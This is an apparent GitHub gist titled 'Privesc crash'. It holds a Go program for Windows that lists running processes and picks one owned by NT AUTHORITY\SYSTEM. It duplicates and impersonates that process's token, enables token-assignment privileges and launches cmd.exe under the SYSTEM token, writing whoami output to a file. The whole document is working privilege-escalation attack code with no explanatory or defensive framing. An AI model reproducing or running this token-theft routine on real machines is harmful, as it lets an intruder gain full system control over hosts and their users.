Skip to content

Instantly share code, notes, and snippets.

@lesnuages
Last active February 11, 2019 19:57
Show Gist options
  • Save lesnuages/bd86457619d3fff6a88715c0cfbfb11e to your computer and use it in GitHub Desktop.
Save lesnuages/bd86457619d3fff6a88715c0cfbfb11e to your computer and use it in GitHub Desktop.
Privesc crash
package main
import (
"fmt"
"log"
"os/exec"
"syscall"
"time"
"unsafe"
)
const (
SecurityAnonymous = 0
SecurityIdentification = 1
SecurityImpersonation = 2
SecurityDelegation = 3
TokenPrimary TokenType = 1
TokenImpersonation TokenType = 2
STANDARD_RIGHTS_REQUIRED = 0x000F
SYNCHRONIZE = 0x00100000
THREAD_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xffff
)
type TokenType uint32
type Process interface {
// Pid is the process ID for this process.
Pid() int
// PPid is the parent process ID for this process.
PPid() int
// Executable name running this process. This is not a path to the
// executable.
Executable() string
// Owner is the account name of the process owner.
Owner() string
}
const (
TOKEN_ADJUST_PRIVILEGES = 0x0020
SE_PRIVILEGE_ENABLED = 0x00000002
)
type LUID struct {
LowPart uint32
HighPart int32
}
type LUID_AND_ATTRIBUTES struct {
Luid LUID
Attributes uint32
}
type TOKEN_PRIVILEGES struct {
PrivilegeCount uint32
Privileges [1]LUID_AND_ATTRIBUTES
}
// WindowsProcess is an implementation of Process for Windows.
type WindowsProcess struct {
pid int
ppid int
exe string
owner string
}
func (p *WindowsProcess) Pid() int {
return p.pid
}
func (p *WindowsProcess) PPid() int {
return p.ppid
}
func (p *WindowsProcess) Executable() string {
return p.exe
}
func (p *WindowsProcess) Owner() string {
return p.owner
}
func newWindowsProcess(e *syscall.ProcessEntry32) *WindowsProcess {
// Find when the string ends for decoding
end := 0
for {
if e.ExeFile[end] == 0 {
break
}
end++
}
account, _ := getProcessOwner(e.ProcessID)
return &WindowsProcess{
pid: int(e.ProcessID),
ppid: int(e.ParentProcessID),
exe: syscall.UTF16ToString(e.ExeFile[:end]),
owner: account,
}
}
func findProcess(pid int) (Process, error) {
ps, err := processes()
if err != nil {
return nil, err
}
for _, p := range ps {
if p.Pid() == pid {
return p, nil
}
}
return nil, nil
}
// getInfo retrieves a specified type of information about an access token.
func getInfo(t syscall.Token, class uint32, initSize int) (unsafe.Pointer, error) {
n := uint32(initSize)
for {
b := make([]byte, n)
e := syscall.GetTokenInformation(t, class, &b[0], uint32(len(b)), &n)
if e == nil {
return unsafe.Pointer(&b[0]), nil
}
if e != syscall.ERROR_INSUFFICIENT_BUFFER {
return nil, e
}
if n <= uint32(len(b)) {
return nil, e
}
}
}
func getTokenUser(t syscall.Token) (*syscall.Tokenuser, error) {
i, e := getInfo(t, syscall.TokenUser, 50)
if e != nil {
return nil, e
}
return (*syscall.Tokenuser)(i), nil
}
// getTokenOwner retrieves access token t owner account information.
func getTokenOwner(t syscall.Token) (*syscall.Tokenuser, error) {
i, e := getInfo(t, syscall.TokenOwner, 50)
if e != nil {
return nil, e
}
return (*syscall.Tokenuser)(i), nil
}
func getProcessOwner(pid uint32) (owner string, err error) {
handle, err := syscall.OpenProcess(syscall.PROCESS_QUERY_INFORMATION, false, pid)
if err != nil {
return
}
var token syscall.Token
if err = syscall.OpenProcessToken(handle, syscall.TOKEN_QUERY, &token); err != nil {
return
}
tokenUser, err := getTokenUser(token)
if err != nil {
tokenUser, err = getTokenOwner(token)
if err != nil {
return
}
}
owner, domain, _, err := tokenUser.User.Sid.LookupAccount("")
owner = fmt.Sprintf("%s\\%s", domain, owner)
return
}
func processes() ([]Process, error) {
handle, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0)
if err != nil {
return nil, err
}
defer syscall.CloseHandle(handle)
var entry syscall.ProcessEntry32
entry.Size = uint32(unsafe.Sizeof(entry))
if err = syscall.Process32First(handle, &entry); err != nil {
return nil, err
}
results := make([]Process, 0, 50)
for {
results = append(results, newWindowsProcess(&entry))
err = syscall.Process32Next(handle, &entry)
if err != nil {
break
}
}
return results, nil
}
func duplicateTokenEx(hExistingToken syscall.Token, dwDesiredAccess uint32, lpTokenAttributes *syscall.SecurityAttributes, impersonationLevel uint32, tokenType TokenType, phNewToken *syscall.Token) (err error) {
modadvapi32 := syscall.MustLoadDLL("advapi32.dll")
procDuplicateTokenEx := modadvapi32.MustFindProc("DuplicateTokenEx")
r1, _, err := procDuplicateTokenEx.Call(uintptr(hExistingToken), uintptr(dwDesiredAccess), uintptr(unsafe.Pointer(lpTokenAttributes)), uintptr(impersonationLevel), uintptr(tokenType), uintptr(unsafe.Pointer(phNewToken)))
if r1 != 0 {
return nil
}
return
}
func adjustTokenPrivileges(token syscall.Token, disableAllPrivileges bool, newstate *TOKEN_PRIVILEGES, buflen uint32, prevstate *TOKEN_PRIVILEGES, returnlen *uint32) (err error) {
modadvapi32 := syscall.MustLoadDLL("advapi32.dll")
procAdjustTokenPrivileges := modadvapi32.MustFindProc("AdjustTokenPrivileges")
var _p0 uint32
if disableAllPrivileges {
_p0 = 1
} else {
_p0 = 0
}
r0, _, e1 := procAdjustTokenPrivileges.Call(uintptr(token), uintptr(_p0), uintptr(unsafe.Pointer(newstate)), uintptr(buflen), uintptr(unsafe.Pointer(prevstate)), uintptr(unsafe.Pointer(returnlen)))
if r0 == 0 {
err = e1
}
return err
}
func lookupPrivilegeValue(systemname *uint16, name *uint16, luid *LUID) (err error) {
modadvapi32 := syscall.MustLoadDLL("advapi32.dll")
procLookupPrivilegeValueW := modadvapi32.MustFindProc("LookupPrivilegeValueW")
r1, _, e1 := procLookupPrivilegeValueW.Call(uintptr(unsafe.Pointer(systemname)), uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(luid)))
if r1 == 0 {
err = e1
}
return
}
func getCurrentThread() (pseudoHandle syscall.Handle, err error) {
modkernel32 := syscall.MustLoadDLL("kernel32.dll")
procGetCurrentThread := modkernel32.MustFindProc("GetCurrentThread")
r0, _, e1 := procGetCurrentThread.Call(0, 0, 0)
pseudoHandle = syscall.Handle(r0)
if pseudoHandle == 0 {
err = e1
}
return
}
func openThreadToken(h syscall.Handle, access uint32, openasself bool, token *syscall.Token) (err error) {
modadvapi32 := syscall.MustLoadDLL("advapi32.dll")
procOpenThreadToken := modadvapi32.MustFindProc("OpenThreadToken")
var _p0 uint32
if openasself {
_p0 = 1
} else {
_p0 = 0
}
r1, _, e1 := procOpenThreadToken.Call(uintptr(h), uintptr(access), uintptr(_p0), uintptr(unsafe.Pointer(token)), 0, 0)
if r1 == 0 {
err = e1
}
return
}
func impersonateLoggedOnUser(hToken syscall.Token) (err error) {
modadvapi32 := syscall.MustLoadDLL("advapi32.dll")
procImpersonateLoggedOnUser := modadvapi32.MustFindProc("ImpersonateLoggedOnUser")
r1, _, err := procImpersonateLoggedOnUser.Call(uintptr(hToken))
if r1 != 0 {
return nil
}
return
}
func getPrimaryToken(pid uint32) (*syscall.Token, error) {
handle, err := syscall.OpenProcess(syscall.PROCESS_QUERY_INFORMATION, true, pid)
if err != nil {
log.Println("OpenProcess failed")
return nil, err
}
defer syscall.CloseHandle(handle)
var token syscall.Token
if err = syscall.OpenProcessToken(handle, syscall.TOKEN_DUPLICATE|syscall.TOKEN_ASSIGN_PRIMARY|syscall.TOKEN_QUERY, &token); err != nil {
log.Println("OpenProcessToken failed")
return nil, err
}
return &token, err
}
func enableCurrentThreadPrivilege(privilegeName string) error {
ct, err := getCurrentThread()
if err != nil {
return err
}
var t syscall.Token
err = openThreadToken(ct, syscall.TOKEN_QUERY|TOKEN_ADJUST_PRIVILEGES, false, &t)
if err != nil {
log.Println("openThreadToken failed")
return err
}
defer syscall.CloseHandle(syscall.Handle(t))
var tp TOKEN_PRIVILEGES
privStr, err := syscall.UTF16PtrFromString(privilegeName)
if err != nil {
return err
}
err = lookupPrivilegeValue(nil, privStr, &tp.Privileges[0].Luid)
if err != nil {
log.Println("lookupPrivilegeValue failed")
return err
}
tp.PrivilegeCount = 1
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
return adjustTokenPrivileges(t, false, &tp, 0, nil, nil)
}
func impersonateProcess(pid uint32) (newToken syscall.Token, err error) {
var attr syscall.SecurityAttributes
var requiredPrivileges = []string{"SeAssignPrimaryTokenPrivilege", "SeIncreaseQuotaPrivilege"}
primaryToken, err := getPrimaryToken(pid)
if err != nil {
log.Println("getPrimaryToken failed:", err)
return
}
defer primaryToken.Close()
err = impersonateLoggedOnUser(*primaryToken)
if err != nil {
log.Println("impersonateLoggedOnUser failed:", err)
return
}
err = duplicateTokenEx(*primaryToken, syscall.TOKEN_ALL_ACCESS, &attr, SecurityDelegation, TokenPrimary, &newToken)
if err != nil {
log.Println("duplicateTokenEx failed:", err)
return
}
for _, priv := range requiredPrivileges {
err = enableCurrentThreadPrivilege(priv)
if err != nil {
log.Println("Failed to set priv", priv)
return
}
}
return
}
func impersonateUser(username string) (bool, error) {
var err error
p, err := processes()
if err != nil {
return false, err
}
for _, proc := range p {
if proc.Owner() == username {
fmt.Println("Found system process:", proc.Pid(), proc.Executable())
newToken, err := impersonateProcess(uint32(proc.Pid()))
if err != nil {
log.Println(err)
} else {
fmt.Println("Got system token")
cmd := exec.Command(`C:\windows\system32\cmd.exe`, "/C whoami > c:\\whoami.txt")
cmd.SysProcAttr = &syscall.SysProcAttr{
Token: newToken,
}
err = cmd.Run()
if err != nil {
return false, err
}
break
}
}
}
if err == nil {
return true, err
}
return false, err
}
func main() {
_, err := impersonateUser("NT AUTHORITY\\SYSTEM")
if err != nil {
log.Fatal(err)
}
time.Sleep(10 * time.Second)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment